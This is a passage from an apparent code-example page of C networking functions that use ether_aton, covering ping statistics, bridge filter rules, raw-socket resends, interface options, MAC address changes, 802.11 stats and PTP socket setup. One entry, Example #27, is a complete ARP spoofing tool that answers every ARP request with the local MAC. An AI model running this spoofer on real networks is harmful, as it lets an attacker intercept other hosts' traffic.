				max = time_delta;
			avg += time_delta;
			mdev += time_delta * time_delta;
			packets_in++;
			break;
		case DESTINATION_UNREACHABLE:
			printf("From %s: Destination Host Unreachable (icmp_seq %hu)\n", dst_string, ntohs(icmp_packet_in.seqno));
			break;
		case TTL_EXCEEDED:
			printf("From %s: Time to live exceeded (icmp_seq %hu)\n", dst_string, ntohs(icmp_packet_in.seqno));
			break;
		case PARAMETER_PROBLEM:
			printf("Error - the batman adv kernel module version (%d) differs from ours (%d)\n",
					icmp_packet_in.ttl, COMPAT_VERSION);
			printf("Please make sure to compatible versions!\n");
			goto out;
		default:
			printf("Unknown message type %d len %zd received\n", icmp_packet_in.msg_type, read_len);
			break;
		}

sleep:
		if (loop_interval > 0)
			sleep(loop_interval);
		else if ((tv.tv_sec != 0) || (tv.tv_usec != 0))
			select(0, NULL, NULL, NULL, &tv);
	}

	if (packets_out == 0)
		packets_loss = 0;
	else
		packets_loss = ((packets_out - packets_in) * 100) / packets_out;

	if (packets_in) {
		avg /= packets_in;
		mdev /= packets_in;
		mdev = mdev - avg * avg;
		if (mdev > 0.0)
			mdev = sqrt(mdev);
		else
			mdev = 0.0;
	} else {
		avg = 0.0;
		mdev = 0.0;
	}

	printf("--- %s ping statistics ---\n", dst_string);
	printf("%u packets transmitted, %u received, %u%% packet loss\n",
		packets_out, packets_in, packets_loss);
	printf("rtt min/avg/max/mdev = %.3f/%.3f/%.3f/%.3f ms\n",
		min, avg, max, mdev);

	ret = EXIT_SUCCESS;

out:
	bat_hosts_free();
	if (ping_fd)
		close(ping_fd);
	return ret;
}
Example #24
0
/*
 * Parse a rule definition and send it upwards.
 *
 * Syntax:
 *	{block|pass} {in|out|in/out} on {ifs} [src {mac}] [dst {mac}]
 */
int
bridge_rule(int s, char *brdg, int targc, char **targv, int ln)
{
	char **argv = targv;
	int argc = targc;
	struct ifbrlreq rule;
	struct ether_addr *ea, *dea;
	short sec;

	if (argc == 0) {
		printf("%% Invalid rule\n");
		return (EX_USAGE);
	}
	rule.ifbr_tagname[0] = 0;
	rule.ifbr_flags = 0;
	rule.ifbr_action = 0;
	strlcpy(rule.ifbr_name, brdg, sizeof(rule.ifbr_name));

	sec = 1;
	if (strcmp(argv[0], "block") == 0)
		rule.ifbr_action = BRL_ACTION_BLOCK;
	else if (strcmp(argv[0], "pass") == 0)
		rule.ifbr_action = BRL_ACTION_PASS;
	else
		goto bad_rule;
	argc--;	argv++;

	sec++; /* 2 */
	if (argc == 0) {
		bridge_badrule(targc, targv, ln, sec);
		return (EX_USAGE);
	}
	if (strcmp(argv[0], "in") == 0)
		rule.ifbr_flags |= BRL_FLAG_IN;
	else if (strcmp(argv[0], "out") == 0)
		rule.ifbr_flags |= BRL_FLAG_OUT;
	else if (strcmp(argv[0], "in/out") == 0)
		rule.ifbr_flags |= BRL_FLAG_IN | BRL_FLAG_OUT;
	else
		goto bad_rule;
	argc--; argv++;

	sec++; /* 3 */
	if (argc == 0 || strcmp(argv[0], "on"))
		goto bad_rule;
	argc--; argv++;

	sec++; /* 4 */
	if (argc == 0 || !is_valid_ifname(argv[0]))
		goto bad_rule;
	strlcpy(rule.ifbr_ifsname, argv[0], sizeof(rule.ifbr_ifsname));
	argc--; argv++;

	sec++; /* 5 */
	while (argc) {
		if (strcmp(argv[0], "dst") == 0) {
			if (rule.ifbr_flags & BRL_FLAG_DSTVALID)
				goto bad_rule;
			rule.ifbr_flags |= BRL_FLAG_DSTVALID;
			dea = &rule.ifbr_dst;
		} else if (strcmp(argv[0], "src") == 0) {
			if (rule.ifbr_flags & BRL_FLAG_SRCVALID)
				goto bad_rule;
			rule.ifbr_flags |= BRL_FLAG_SRCVALID;
			dea = &rule.ifbr_src;
		} else if (strcmp(argv[0], "tag") == 0) {
			if (argc < 2) {
				printf("%% missing tag name\n");
				goto bad_rule;
			}
			if (rule.ifbr_tagname[0]) {
				printf("%% tag already defined\n");
				goto bad_rule;
			}
			if (strlcpy(rule.ifbr_tagname, argv[1],
			    PF_TAG_NAME_SIZE) > PF_TAG_NAME_SIZE) {
				printf("%% tag name too long\n");
				goto bad_rule;
			}
			dea = NULL;
		} else
			goto bad_rule;

		argc--; argv++;
		sec++;

		if (argc == 0)
			goto bad_rule;
		if (dea != NULL) {
			ea = ether_aton(argv[0]);
			if (ea == NULL) {
				printf("%% Invalid address: %s\n", argv[0]);
				return (0);
			}
			bcopy(ea, dea, sizeof(*dea));
 		}
		argc--; argv++;
		sec++;
	}

	if (ioctl(s, SIOCBRDGARL, &rule) < 0) {
		printf("%% unable to add rule: SIOCBRDGARL: %s\n",
		    strerror(errno));
		return (EX_IOERR);
	}
	return (0);

bad_rule:
	bridge_badrule(targc, targv, ln, sec);
	return (EX_USAGE);
}
Example #25
0
void *receive(void *threadid)
	{
		long tid;
  		tid = (long) threadid;
			printf("Thread %ld in receive\n",tid);
	 	struct sockaddr_ll dev;
		struct sockaddr saddr;
		int saddr_size;
		saddr_size = sizeof saddr;
		iph = (struct ipheader *)malloc(sizeof( struct ipheader));
		uint8_t *data;
		data=(unsigned char *)malloc(PACKET_SIZE - HEADER_LEN);
		//memset(&data,0,sizeof(data));
		memset (&dev, 0, sizeof (dev));
		char *buffer = (char *) malloc(PACKET_SIZE);
		//memset(buffer,0,sizeof(buffer));
		neg = (struct negative *)malloc(sizeof( struct negative));

		int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_ALL)) ;
		if(sock_raw < 0)
		{
		      //Print the error with proper message
		  perror("Socket Error");
		      //return 1;
		}
		dev.sll_family=AF_PACKET;
		dev.sll_protocol=htons(ETH_P_IP);
		  //////give interface name
		if ((dev.sll_ifindex = if_nametoindex ("eth4") == 0)) {
		 perror ("if_nametoindex() failed to obtain interface index ");
		  exit (EXIT_FAILURE);
		}
		if(bind(sock_raw,(struct sockaddr *)&dev, sizeof(dev))==-1)
		{
		  perror("error to bind");
		  exit(-1);
		}
		  ///////////////////
		int data_size=0,bytes=0;
		struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
		struct ether_addr *ea_dest,*ea_src;
		ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); 
		ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr));
		
		struct sockaddr_ll device_recv;
		memset (&device_recv, 0, sizeof (device_recv));
		char *interface="eth4";
		char ether_frame[PACKET_SIZE];
		if ((device_recv.sll_ifindex = if_nametoindex (interface)) == 0) {
			perror ("if_nametoindex() failed to obtain interface index ");
			exit (EXIT_FAILURE);
		}

		// ea_src=ether_aton("a0:36:9f:09:27:c6");
		// memcpy(eth->h_source,ea_src->ether_addr_octet,6);
	
		// ea_dest=ether_aton("a0:36:9f:0a:5c:d9");
		// memcpy(eth->h_dest,ea_dest->ether_addr_octet,6);
		
		// eth->h_proto=htons(ETH_P_IP);
		// iph->src_ip=2;
		// iph->dest_ip=3;
		sock_raw_recv = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ;
		if(sock_raw_recv<0)
			perror("Socket cannot be created \n");
		// printf("sock_raw_recv %d\n",sock_raw_recv );
		while(1)
		{

		  // printf("listening on node2 \n");
		  data_size = recvfrom(sock_raw , buffer , PACKET_SIZE , 0 , (struct sockaddr *)&dev , (socklen_t*)&saddr_size);
		  if(data_size <=0 )
		  {
		    printf("Recvfrom error , failed to get packets\n");
		    exit(0);
		  }
		  iph = (struct ipheader *)(buffer + ETH_HDRLEN);
		  neg = (struct negative *)(buffer + HEADER_LEN-4);
		  

		  if ((iph->src_ip<4) && (iph->session_id==atoi(session))) 
		  {
		  	if (neg->size == -1)
		  {
		  	// printf("REC\n");
		  	break;
		  }

		    // memcpy(data,buffer + HEADER_LEN, PACKET_SIZE - HEADER_LEN);
		    // printf("Data is :%s on thread ****\n",data );
		    // printf("rcv size:%d and set value %d\n",neg->size,neg->set);
		    // printf("0: %d 1: %d 2: %d \n",neg->rcv_ack[0],neg->rcv_ack[1],neg->rcv_ack[2] );
		    int i;
		    //printf("ip source : %d\n",iph->src_ip);
		    // for (i=0;i<neg->size;i++)
		    // {
		    // 	printf("i= %d value= %d\n", i,neg->rcv_ack[i]);
		    // }
		  

				  ////////////////////////////////Start sending NACk//////////////////////////////////////////////
				  // printf("START SENDING NACK\n");
				  // char *interface="eth4";
			
					// uint8_t *ether_frame;
					// char ether_frame[PACKET_SIZE];
					
					// struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
					// struct ether_addr *ea_dest,*ea_src;
					
					// ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); 
					// ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr));
					// ether_frame=(uint8_t *)calloc(1,PACKET_SIZE*sizeof(uint8_t));
					// memset(ether_frame,'a',PACKET_SIZE);
					// memcpy(ether_frame + HEADER_LEN,map,PACKET_SIZE - HEADER_LEN);
					// ether_frame[PACKET_SIZE]='\0';
					
					// iph = (struct ipheader *)malloc(sizeof( struct ipheader));

					
					// printf("%d\n", (int)sizeof(struct ipheader));
					
					// layer4 = (struct custom_transport *)malloc(sizeof( struct custom_transport));
					
					// printf("%d\n", (int)sizeof(struct custom_transport));
				// **************************************************************************************************
					// int sock_raw_recv = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ;
					// if(sock_raw_recv<0)
					// 	perror("Socket cannot be created \n");
					eth = (struct ethhdr *)ether_frame;
					iph = (struct ipheader *)(ether_frame  + sizeof(struct ethhdr) );
					layer4 = (struct custom_transport *)(ether_frame  + HEADER_LEN - 4 );

					ea_src=ether_aton("a0:36:9f:08:56:c2");
					memcpy(eth->h_source,ea_src->ether_addr_octet,6);
				
					
						ea_dest=ether_aton(destination_mac);
						memcpy(eth->h_dest,ea_dest->ether_addr_octet,6);
					
					
					eth->h_proto=htons(ETH_P_IP);
					iph->src_ip=2;
					iph->dest_ip=3;
					iph->session_id=atoi(session);

					// iph->total_len=16;

					// layer4->seq=0;
					
					// layer4->type=1;

					// memset (&device_recv, 0, sizeof (device_recv));
					// if ((device_recv.sll_ifindex = if_nametoindex (interface)) == 0) {
					// 	perror ("if_nametoindex() failed to obtain interface index ");
					// 	exit (EXIT_FAILURE);
					// }
					// printf ("Index for interface %s is %i\n", interface, device_recv.sll_ifindex);

				  // Send ethernet frame to socket.
					i=0;
					// gettimeofday(&t1,0);
					// start=((t1.tv_sec)*1000000+t1.tv_usec);
					while(i<neg->size)
					{
						// layer4->seq=1;
						// printf("PACKET: %s\n",ether_frame+ HEADER_LEN );
						layer4->seq=neg->rcv_ack[i];
						//printf("resend seq : %d\n",layer4->seq);
						memcpy(ether_frame + HEADER_LEN,map+neg->rcv_ack[i]*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN);
						if ((bytes = sendto (sock_raw_recv, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device_recv, sizeof (device_recv))) <= 0) 
						{
							perror ("sendto() Failed");
							// printf("%d\n",sock_raw_recv );
							exit (EXIT_FAILURE);
						}
						// sendto (sock_raw_recv, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device_recv, sizeof (device_recv));
						i++;
						// layer4->seq++;
						// memcpy(ether_frame + HEADER_LEN,map+neg->rcv_ack[i]*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN);

					}
					// gettimeofday(&t2,0);
					// end=((t2.tv_sec)*1000000+t2.tv_usec);
					// total=(float)((end-start));
					// printf("time to send : %f us  \n",total);
					// printf("TIme to start : %ld\n", start);

					// printf("NACK Packet has been sent \n");
					

				  ////////////////////////////////END sending NACk//////////////////////////////////////////////
			}
		}
		printf("Finished\n");
		close(sock_raw_recv);
		close(sock_raw);
		pthread_exit(NULL);
	}
Example #26
0
static void
parse_long_opts(int option_index, char *opt_arg)
{
    errno = 0;

    if (!*(long_options[option_index].flag))
        *(long_options[option_index].flag) = 1;

    switch (option_index) {
    case ADD_OPT_INDEX:
        strncpy(if_name, opt_arg, sizeof(if_name));
        if_kindex = if_nametoindex(opt_arg);
        vr_op = SANDESH_OP_ADD;
        break;

    case CREATE_OPT_INDEX:
        strncpy(if_name, opt_arg, sizeof(if_name));
        break;

    case VRF_OPT_INDEX:
        vrf_id = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case MAC_OPT_INDEX:
        mac_opt = ether_aton(opt_arg);
        if (mac_opt)
            memcpy(vr_ifmac, mac_opt, sizeof(vr_ifmac));
        break;

    case DELETE_OPT_INDEX:
        vr_op = SANDESH_OP_DELETE;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case GET_OPT_INDEX:
        vr_op = SANDESH_OP_GET;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case POLICY_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_POLICY_ENABLED;
        break;

    case LIST_OPT_INDEX:
        vr_op = SANDESH_OP_DUMP;
        break;

    case TYPE_OPT_INDEX:
        vr_if_type = vr_get_if_type(optarg);
        if (vr_if_type == VIF_TYPE_HOST)
            need_xconnect_if = true;
        break;

    case SET_OPT_INDEX:
        vr_op = SANDESH_OP_ADD;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case VLAN_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_SERVICE_IF;
        vlan_id = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case XCONNECT_OPT_INDEX:
        if_xconnect_kindex = if_nametoindex(opt_arg);
        if (!if_xconnect_kindex) {
            printf("%s does not seem to be a  valid physical interface name\n",
                    opt_arg);
            Usage();
        }

        break;

    case DHCP_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_DHCP_ENABLED;
        break;

    case VHOST_PHYS_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_VHOST_PHYS;
        break;

    default:
        break;
    }

    return;
}
Example #27
0
int main(int argc, char *argv[])
{
  int r_sock, w_sock;
  int packetsize = sizeof(struct ether_header) + sizeof(struct arphdr);
  char packet[packetsize];
  struct ether_header *eth = (struct ether_header *) packet;
  struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
  unsigned char arppacket[sizeof(struct arphdr) + sizeof(struct ether_header)];
  struct ether_header *spoof_eth = (struct ether_header *)arppacket;
  struct arphdr *spoof_arp = (struct arphdr *)(arppacket + sizeof(struct ether_header));
  struct sockaddr addr;
  int one = 1;
  struct ifreq iface;
  char smac[ETH_ALEN];

  if(argc < 2)
    {
      printf("%s <device>\n", argv[0]);
      exit(1);
    }

  // Are you root?
  if(getuid() != 0) 
    { 
      printf("You must be root\n"); 
      exit(1); 
    }

  // Raw Socket zum lesen
  if((r_sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) 
    { 
      perror("socket"); 
      exit(1); 
    }

  // Raw Socket zum senden
  if((w_sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) 
    { 
      perror("socket"); 
      exit(1); 
    }

  // MAC Adresse auslesen
  strcpy(iface.ifr_name, argv[1]);

  if((ioctl(r_sock, SIOCGIFHWADDR, &iface)) < 0)
    {
      perror("ioctl SIOCGIFHWADDR");
      exit(1);
    }
  else
    {
      sprintf(smac,"%02x:%02x:%02x:%02x:%02x:%02x",
	      iface.ifr_hwaddr.sa_data[0] & 0xff, 
	      iface.ifr_hwaddr.sa_data[1] & 0xff,
	      iface.ifr_hwaddr.sa_data[2] & 0xff, 
	      iface.ifr_hwaddr.sa_data[3] & 0xff,
	      iface.ifr_hwaddr.sa_data[4] & 0xff, 
	      iface.ifr_hwaddr.sa_data[5] & 0xff);
    }

  // Warte auf ARP Requests und sende ARP Replies
  while(1)
    {
      read(r_sock,packet,packetsize);
      
      // Is dieses Paket ein ARP Request?
      if((eth->ether_type == 1544) && (arp->opcode == 256))
	{
	  // Ethernet Header
	  memcpy(spoof_eth->ether_dhost, eth->ether_shost, ETH_ALEN);       // Destination MAC
	  memcpy(spoof_eth->ether_shost, smac, ETH_ALEN);                   // Source MAC
	  spoof_eth->ether_type = htons(ETHERTYPE_ARP);                     // Packet type
  
	  // ARP Header
	  spoof_arp->hw_type = htons(ARPHDR_ETHER);                         // Hardware Address Typ
	  spoof_arp->proto_type = htons(ETH_P_IP);                          // Protokoll Address Typ
	  spoof_arp->ha_len = ETH_ALEN;                                     // Hardware Address Laenge
	  spoof_arp->pa_len = IP_ALEN;                                      // Protokoll Address Laenge
	  spoof_arp->opcode = htons(ARPOP_REPLY);                           // ARP OP Typ
	  memcpy(spoof_arp->source_add, (char*)ether_aton(smac), ETH_ALEN); // Sender MAC
	  memcpy(spoof_arp->source_ip, arp->dest_ip, IP_ALEN);              // Source IP
	  memcpy(spoof_arp->dest_add, arp->source_add, ETH_ALEN);           // Target MAC
	  memcpy(spoof_arp->dest_ip, arp->source_ip, IP_ALEN);              // Target IP

	  // Schicke das Paket auf die Reise  
	  strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
	  printf("arp reply %s is at %s\n", inet_ntoa(*(struct in_addr*)&spoof_arp->source_ip), smac);

	  if(sendto(w_sock, arppacket, packetsize, 0, &addr, sizeof(addr)) < 0)
	    {
	      perror("send");
	      exit(1);
	    }
	}
    }

  close(r_sock);
  close(w_sock);
  return 0;
}
Example #28
0
int
intlladdr(char *ifname, int ifs, int argc, char **argv)
{
	char *lladdr, llorig[IFNAMSIZ+1];
	struct ether_addr *addr;
	struct ifreq ifr;
	FILE *llfile;
#define LLPREFIX "/var/run/lladdr"
	char llfn[sizeof(LLPREFIX)+IFNAMSIZ+1];
	int set;

	if (NO_ARG(argv[0])) {
		argv++;
		argc--;
		set = 0;
	} else
		set = 1;

	if (set && argc < 2) {
		printf ("%% lladdr <link level address>\n");
		printf ("%% no lladdr\n");
		return(1);
	}

	if ((lladdr = get_hwdaddr(ifname)) == NULL) {
		printf("%% Failed to retrieve current link level address\n");
		return(1);
	}

	/*
	 * the expectation here is that, on first run of the lladdr command,
	 * after system boot, /var/run/lladdr.%s will not exist and so we
	 * will ALWAYS create it with the interface's current lladdr.
	 * this file is used if 'no lladdr' is ever specified, that way
	 * we know exactly what address to revert back to.  also, conf_lladdr
	 * always knows about the default address this way.  finally, because
	 * the output to /var/run/lladdr.%s is generated from get_hwdaddr,
	 * and the comparisons will be with new data generated from get_hwdaddr
	 * it will always have the same case and format for easy comparison.
	 */
	snprintf(llfn, sizeof(llfn), "%s.%s", LLPREFIX, ifname);
	if ((llfile = fopen(llfn, "r")) == NULL) {
		/* llfn not around? create it */
		if (set && ((llfile = fopen(llfn, "w")) != NULL)) {
			fprintf(llfile, "%s", lladdr);
			fclose(llfile);
		} else if (set) {
			printf("%% Failed to open %s for writing: %s\n", llfn,
			    strerror(errno));
			return(1);
		} else {
			switch(errno) {
			case ENOENT:
				printf("%% No saved lladdr to revert back\n");
				break;
			default:
				printf("%% Failed to read %s: %s\n", llfn,
				    strerror(errno));
			}
			return(1);
		}
	} else {
		fgets(llorig, sizeof(llorig), llfile);
		fclose(llfile);
		if (!set && unlink(llfn) != 0)
			printf("%% Failed to remove %s: %s\n", llfn,
			    strerror(errno));
	}

	/* At this point, llorig will always represent the booted lladdr */

	addr = ether_aton(set ? argv[1] : llorig); /* XXX Non-ethernet type ? */
	if(addr == NULL) {		/* XXX Non-ethernet... */
		if (set) {
			printf("%% MAC addresses must be six hexadecimal "
			    "fields, up to two digits each,\n");
			printf("%% separated with colons (1:23:45:ab:cd:ef)\n");
			return(1);
		} else {
			printf("%% %s corrupted, unable to retrieve original "
			    "lladdr\n", llfn);
			return(1);
		}
	} 

	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	ifr.ifr_addr.sa_len = ETHER_ADDR_LEN;	/* XXX */
	ifr.ifr_addr.sa_family = AF_LINK;
	bcopy(addr, ifr.ifr_addr.sa_data, ETHER_ADDR_LEN);
	if(ioctl(ifs, SIOCSIFLLADDR, (caddr_t)&ifr) < 0) {
		switch(errno) {
		case EINVAL:
			printf("%% Requested link level address denied\n");
			break;
		default:
			printf("%% intlladdr: SIOCSIFLLADDR: %s\n",
			    strerror(errno));
		}
		return(1);
	}

	return(0);
}
Example #29
0
int
a80211stats_init(int argc, char *argv[])
{

#else

int
main(int argc, char *argv[])
{

#endif
	int c, len;
	struct ieee80211req_sta_info *si;
	u_int8_t buf[24*1024], *cp;
	struct iwreq iwr;
	int allnodes = 0;

	const char *ifname = "ath0";

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");
	if (argc > 1 && strcmp(argv[1], "-i") == 0) {
		if (argc < 2) {
			fprintf(stderr, "%s: missing interface name for -i\n",
				argv[0]);
			exit(-1);
		}
		ifname = argv[2];
		argc -= 2, argv += 2;
	}

	strncpy(ifr.ifr_name, ifname, sizeof (ifr.ifr_name));
	while ((c = getopt(argc, argv, "ai:")) != -1)
		switch (c) {
		case 'a':
			allnodes++;
			break;
		case 'i':
			strncpy(ifr.ifr_name, optarg, sizeof (ifr.ifr_name));
			break;
		default:
			errx(1, "usage: 80211stats [-a] [-i device] [mac...]\n");
			/*NOTREACHED*/
		}

	if (argc == optind && !allnodes) {
		struct ieee80211_stats stats;

		/* no args, just show global stats */
		ifr.ifr_data = (caddr_t) &stats;
		if (ioctl(s, SIOCG80211STATS, &ifr) < 0)
			err(1, ifr.ifr_name);
		printstats(stdout, &stats);
		return 0;
	}
	if (allnodes) {
		/*
		 * Retrieve station/neighbor table and print stats for each.
		 */
		(void) memset(&iwr, 0, sizeof(iwr));
		(void) strncpy(iwr.ifr_name, ifr.ifr_name, sizeof(iwr.ifr_name));
		iwr.u.data.pointer = (void *) buf;
		iwr.u.data.length = sizeof(buf);
		if (ioctl(s, IEEE80211_IOCTL_STA_INFO, &iwr) < 0)
			err(1, "unable to get station information");
		len = iwr.u.data.length;
		if (len >= sizeof(struct ieee80211req_sta_info)) {
			cp = buf;
			do {
				si = (struct ieee80211req_sta_info *) cp;
				print_sta_stats(stdout, si->isi_macaddr);
				cp += si->isi_len, len -= si->isi_len;
			} while (len >= sizeof(struct ieee80211req_sta_info));
		}
	} else {
		/*
		 * Print stats for specified stations.
		 */
		for (c = optind; c < argc; c++) {
			const struct ether_addr *ea = ether_aton(argv[c]);
			if (ea != NULL)
				print_sta_stats(stdout, ea->ether_addr_octet);
		}
	}
	return 0;
}
Example #30
0
File: net.c Project: DomChey/ptpd
/**
 * Init all network transports
 *
 * @param netPath 
 * @param rtOpts 
 * @param ptpClock 
 * 
 * @return TRUE if successful
 */
Boolean 
netInit(NetPath * netPath, RunTimeOpts * rtOpts, PtpClock * ptpClock)
{
	int temp;
	struct sockaddr_in addr;

#ifdef PTPD_PCAP
	struct bpf_program program;
	char errbuf[PCAP_ERRBUF_SIZE];
#endif

	DBG("netInit\n");

#ifdef PTPD_PCAP
	netPath->pcapEvent = NULL;
	netPath->pcapGeneral = NULL;
	netPath->pcapEventSock = -1;
	netPath->pcapGeneralSock = -1;
#endif
	netPath->generalSock = -1;
	netPath->eventSock = -1;

#ifdef PTPD_PCAP
	if (rtOpts->transport == IEEE_802_3) {
		netPath->headerOffset = PACKET_BEGIN_ETHER;
#ifdef HAVE_STRUCT_ETHER_ADDR_OCTET
		memcpy(netPath->etherDest.octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN);
		memcpy(netPath->peerEtherDest.octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN);
#else
		memcpy(netPath->etherDest.ether_addr_octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN);
		memcpy(netPath->peerEtherDest.ether_addr_octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN);
#endif /* HAVE_STRUCT_ETHER_ADDR_OCTET */
	} else
#endif
		netPath->headerOffset = PACKET_BEGIN_UDP;

	/* open sockets */
	if ((netPath->eventSock = socket(PF_INET, SOCK_DGRAM, 
					 IPPROTO_UDP)) < 0
	    || (netPath->generalSock = socket(PF_INET, SOCK_DGRAM, 
					      IPPROTO_UDP)) < 0) {
		PERROR("failed to initialize sockets");
		return FALSE;
	}

	if(!testInterface(rtOpts->ifaceName, rtOpts))
		return FALSE;

	netPath->interfaceInfo.addressFamily = AF_INET;

	/* the if is here only to get rid of an unused result warning. */
	if( getInterfaceInfo(rtOpts->ifaceName, &netPath->interfaceInfo)!= 1)
		return FALSE;

	/* No HW address, we'll use the protocol address to form interfaceID -> clockID */
	if( !netPath->interfaceInfo.hasHwAddress && netPath->interfaceInfo.hasAfAddress ) {
		uint32_t addr = netPath->interfaceInfo.afAddress.s_addr;
		memcpy(netPath->interfaceID, &addr, 2);
		memcpy(netPath->interfaceID + 4, &addr + 2, 2);
	/* Initialise interfaceID with hardware address */
	} else {
		    memcpy(&netPath->interfaceID, &netPath->interfaceInfo.hwAddress, 
			    sizeof(netPath->interfaceID) <= sizeof(netPath->interfaceInfo.hwAddress) ?
				    sizeof(netPath->interfaceID) : sizeof(netPath->interfaceInfo.hwAddress)
			    );
	}

	DBG("Listening on IP: %s\n",inet_ntoa(netPath->interfaceInfo.afAddress));

#ifdef PTPD_PCAP
	if (rtOpts->pcap == TRUE) {
		int promisc = (rtOpts->transport == IEEE_802_3 ) ? 1 : 0;
		if ((netPath->pcapEvent = pcap_open_live(rtOpts->ifaceName,
							 PACKET_SIZE, promisc,
							 PCAP_TIMEOUT,
							 errbuf)) == NULL) {
			PERROR("failed to open event pcap");
			return FALSE;
		}
		if (pcap_compile(netPath->pcapEvent, &program, 
				 ( rtOpts->transport == IEEE_802_3 ) ?
				    "ether proto 0x88f7":
				 ( rtOpts->ip_mode != IPMODE_MULTICAST ) ?
					 "udp port 319" :
				 "host (224.0.1.129 or 224.0.0.107) and udp port 319" ,
				 1, 0) < 0) {
			PERROR("failed to compile pcap event filter");
			pcap_perror(netPath->pcapEvent, "ptpd2");
			return FALSE;
		}
		if (pcap_setfilter(netPath->pcapEvent, &program) < 0) {
			PERROR("failed to set pcap event filter");
			return FALSE;
		}
		pcap_freecode(&program);
		if ((netPath->pcapEventSock = 
		     pcap_get_selectable_fd(netPath->pcapEvent)) < 0) {
			PERROR("failed to get pcap event fd");
			return FALSE;
		}		
		if ((netPath->pcapGeneral = pcap_open_live(rtOpts->ifaceName,
							   PACKET_SIZE, promisc,
							   PCAP_TIMEOUT,
							 errbuf)) == NULL) {
			PERROR("failed to open general pcap");
			return FALSE;
		}
		if (rtOpts->transport != IEEE_802_3) {
			if (pcap_compile(netPath->pcapGeneral, &program,
					 ( rtOpts->ip_mode != IPMODE_MULTICAST ) ?
						 "udp port 320" :
					 "host (224.0.1.129 or 224.0.0.107) and udp port 320" ,
					 1, 0) < 0) {
				PERROR("failed to compile pcap general filter");
				pcap_perror(netPath->pcapGeneral, "ptpd2");
				return FALSE;
			}
			if (pcap_setfilter(netPath->pcapGeneral, &program) < 0) {
				PERROR("failed to set pcap general filter");
				return FALSE;
			}
			pcap_freecode(&program);
			if ((netPath->pcapGeneralSock = 
			     pcap_get_selectable_fd(netPath->pcapGeneral)) < 0) {
				PERROR("failed to get pcap general fd");
				return FALSE;
			}
		}
	}
#endif

#ifdef PTPD_PCAP
	if(rtOpts->transport == IEEE_802_3) {
		close(netPath->eventSock);
		netPath->eventSock = -1;
		close(netPath->generalSock);
		netPath->generalSock = -1;
		/* TX timestamp is not generated for PCAP mode and Ethernet transport */
#ifdef SO_TIMESTAMPING
		netPath->txTimestampFailure = TRUE;
#endif /* SO_TIMESTAMPING */
	} else {
#endif
		/* save interface address for IGMP refresh */
		netPath->interfaceAddr = netPath->interfaceInfo.afAddress;

		DBG("Local IP address used : %s \n", inet_ntoa(netPath->interfaceInfo.afAddress));

		temp = 1;			/* allow address reuse */
		if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_REUSEADDR, 
			       &temp, sizeof(int)) < 0
		    || setsockopt(netPath->generalSock, SOL_SOCKET, SO_REUSEADDR, 
				  &temp, sizeof(int)) < 0) {
			DBG("failed to set socket reuse\n");
		}
		/* bind sockets */
		/*
		 * need INADDR_ANY to allow receipt of multi-cast and uni-cast
		 * messages
		 */

		/* why??? */
		if (rtOpts->pidAsClockId) {
			if (inet_pton(AF_INET, DEFAULT_PTP_DOMAIN_ADDRESS, &addr.sin_addr) < 0) {
				PERROR("failed to convert address");
				return FALSE;
			}
		} else
			addr.sin_addr.s_addr = htonl(INADDR_ANY);

		addr.sin_family = AF_INET;
		addr.sin_port = htons(PTP_EVENT_PORT);
		if (bind(netPath->eventSock, (struct sockaddr *)&addr, 
			sizeof(struct sockaddr_in)) < 0) {
			PERROR("failed to bind event socket");
			return FALSE;
		}
		addr.sin_port = htons(PTP_GENERAL_PORT);
		if (bind(netPath->generalSock, (struct sockaddr *)&addr, 
			sizeof(struct sockaddr_in)) < 0) {
			PERROR("failed to bind general socket");
			return FALSE;
		}

#ifdef USE_BINDTODEVICE
#ifdef linux
		/*
		 * The following code makes sure that the data is only
		 * received on the specified interface.  Without this option,
		 * it's possible to receive PTP from another interface, and
		 * confuse the protocol.  Calling bind() with the IP address
		 * of the device instead of INADDR_ANY does not work.
		 *
		 * More info:
		 *   http://developerweb.net/viewtopic.php?id=6471
		 *   http://stackoverflow.com/questions/1207746/problems-with-so-bindtodevice-linux-socket-option
		 */

		if ( rtOpts->ip_mode != IPMODE_HYBRID )
		if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_BINDTODEVICE,
				rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0
			|| setsockopt(netPath->generalSock, SOL_SOCKET, SO_BINDTODEVICE,
				rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0){
